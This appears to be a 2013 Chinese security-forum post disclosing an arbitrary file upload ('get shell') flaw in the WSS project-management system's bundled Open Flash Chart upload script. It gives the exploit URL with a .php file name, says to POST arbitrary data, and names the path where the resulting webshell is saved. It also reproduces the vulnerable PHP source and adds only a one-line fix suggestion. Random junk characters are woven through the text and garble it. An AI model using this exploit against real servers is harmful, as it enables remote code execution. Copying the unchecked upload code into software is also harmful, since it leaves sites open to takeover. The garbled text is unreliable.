标题: WSS项目管理系统Post get shell [打印本页] 作者: admin 时间: 2013-2-23 12:38 标题: WSS项目管理系统Post get shell POST 数据漏洞文件执行任意后缀文件保存' _" S" X$ [8 B+ ~% E# ^5 E4 C. t
漏洞文件/chart/php-ofc-library/ofc_upload_image.php* F5 k, N0 c0 |! N( V2 T @% r
& p. c7 ?2 f' F
利用：% x* l) f7 @9 E: B8 f6 A' o
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名 1 L# ^5 h% j1 p& S* S8 k; z . ?+ N, ~- t# t `: G5 CPost任意数据4 c1 d! O/ t0 G: Y: q
保存位置http://localhost/chart/tmp-upload-images/hfy.php8 C/ r" P% f7 q3 _4 X- @ g5 {4 D
[attach]201[/attach]- I2 J6 g9 W9 S7 ]4 }7 w! \% e
[attach]202[/attach] ! a0 _8 l; B( v& |% P- b8 @最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~4 K. a- U. S( W" q
2 n _+ h, |: `9 x) d1 ~3 \, i
<?php2 }' X) L) W% Y& u
; g5 [7 k" w2 v& X$ L: Z
// ! u7 F# g6 a) T' f% z2 Q# I t! G// In Open Flash Chart -> save_image debug mode, you* ]7 @$ r2 D* |/ b
// will see the 'echo' text in a new window. 1 A3 M( q1 ^8 H' Y s, Y//( c5 j, L7 y5 l' U" V( x
% X5 J/ N+ W! y1 L0 a# a9 h6 _' C) x ~
/* 0 N0 L9 H) P$ f( Q * c$ e0 e0 ^# f2 E/ bprint_r( $_GET );1 Q& d+ S- U9 X0 c: S7 w% [
print_r( $_POST );& o% t/ @. I7 b5 b& a2 n# Y
print_r( $_FILES );$ \8 Q& q8 s7 u/ {6 y5 l
a8 C) b/ F/ W& ?' Zprint_r( $GLOBALS );4 \! _8 }0 w3 ]
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );. h9 o. A+ D4 G! h( f' C, {( }
3 J" N! j6 O5 h7 ]2 x*/! t! {& q" M4 u9 h. W
// default path for the image to be stored //( a7 r4 W2 u+ [! `4 c2 Y" L; A- G
$default_path = '../tmp-upload-images/'; 1 V3 X6 c$ f9 Z6 l - Q7 }5 N- \, x; l, { Lif (!file_exists($default_path)) mkdir($default_path, 0777, true);& ^/ o7 d( Z" n; D) S
[, g# a3 `6 P/ [" x// full path to the saved image including filename // 7 @; z5 @( S6 }$ @" s5 {7 G$destination = $default_path . basename( $_GET[ 'name' ] ); x! l& t( z. W- z U O+ K7 b G% Y( y5 {" k' }3 R
echo 'Saving your image to: '. $destination;8 L2 ^' R7 }" b
// print_r( $_POST ); & I E' Y+ W' D// print_r( $_SERVER ); 7 a$ H, L6 H3 e @# X' P) i* |// echo $HTTP_RAW_POST_DATA; , m9 w" A7 D) H! e W* k/ H# T U# E) ?9 H& s% F, F6 }//4 ?, n/ V0 Z5 A/ o
// POST data is usually string data, but we are passing a RAW .png! ]" K8 G* e; T
// so PHP is a bit confused and $_POST is empty. But it has saved 7 S+ q" ~* h( _5 _6 N5 a// the raw bits into $HTTP_RAW_POST_DATA ; _2 D! k: l; w. |9 h9 _% q: o// 4 X# k& l2 F% j' \& @8 B8 _, g8 a# {7 W$ o' p% N
$jfh = fopen($destination, 'w') or die("can't open file"); + q5 J) W) k# s2 bfwrite($jfh, $HTTP_RAW_POST_DATA);/ @* \5 y- j0 T- Z. ^
fclose($jfh); M3 r+ ~: i4 h
$ ~0 ?. c' S! ~! ]4 q% C// 5 T7 f9 Z }3 p5 w2 d" j// LOOK:4 X& l; ]/ H1 N e% p& ^
// 6 ?& B u. Q. @; _6 Bexit();2 b9 l( ?$ l. U8 F8 X. U& {
// ) F4 N% d1 ?( [) K9 }// PHP5: 7 H4 Y' @: s7 L3 @6 _) Z8 }+ J6 Z) H//7 Y5 |* _8 K' a; V) g' W
( t- `. ^0 X- C3 p2 z ) I( G/ E- D# `// default path for the image to be stored //+ H- W+ P& h5 y2 x6 o
$default_path = 'tmp-upload-images/'; " ~4 L. c5 v4 ~$ k0 u8 b) s+ X2 f8 y( G" [- d1 v8 O8 K
if (!file_exists($default_path)) mkdir($default_path, 0777, true);+ _( V1 X& D6 l& z
. [; T9 c( i. `/ {// full path to the saved image including filename // 8 e0 E M: Y# r$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); 5 I3 M% V' `1 x) G* I
# X/ o, v% Y/ S8 h- D// move the image into the specified directory // ) o; K" k$ Z8 W1 w- z2 n. H oif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) { 2 n; \; [% C# V echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;"; # d6 [# f" ^" P. g} else {/ a- C+ I2 v l/ J& }" z
echo "FILE UPLOAD FAILED";; h$ ^& ?4 G5 l$ c2 b- x
}; |8 r: }9 W/ b/ h# Y- h L
' K( ?! U( a3 S1 F
+ e+ |. Z5 v, y' |
?> ; k, J4 h" i; D: D 1 v# d2 j) ]7 t( H. R" Z- c . S2 b+ k& _) \ B- x& J; h1 @) @( i! b
+ e, Z- t7 `# c* O3 g+ Q
[attach]203[/attach], P* D! L% ]$ h& y0 p
, _, x8 K: v/ b6 ^6 O; X
修复方案： 8 Q: y4 T$ u, c) W5 n9 e
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞 ) _: w; a6 D9 E+ K7 I; O& b8 E
S5 g" E% c" ]; d% F, P: u- A. Q# L1 A G7 m1 k, G- |, Q
U; G$ Y3 _# c D3 o9 K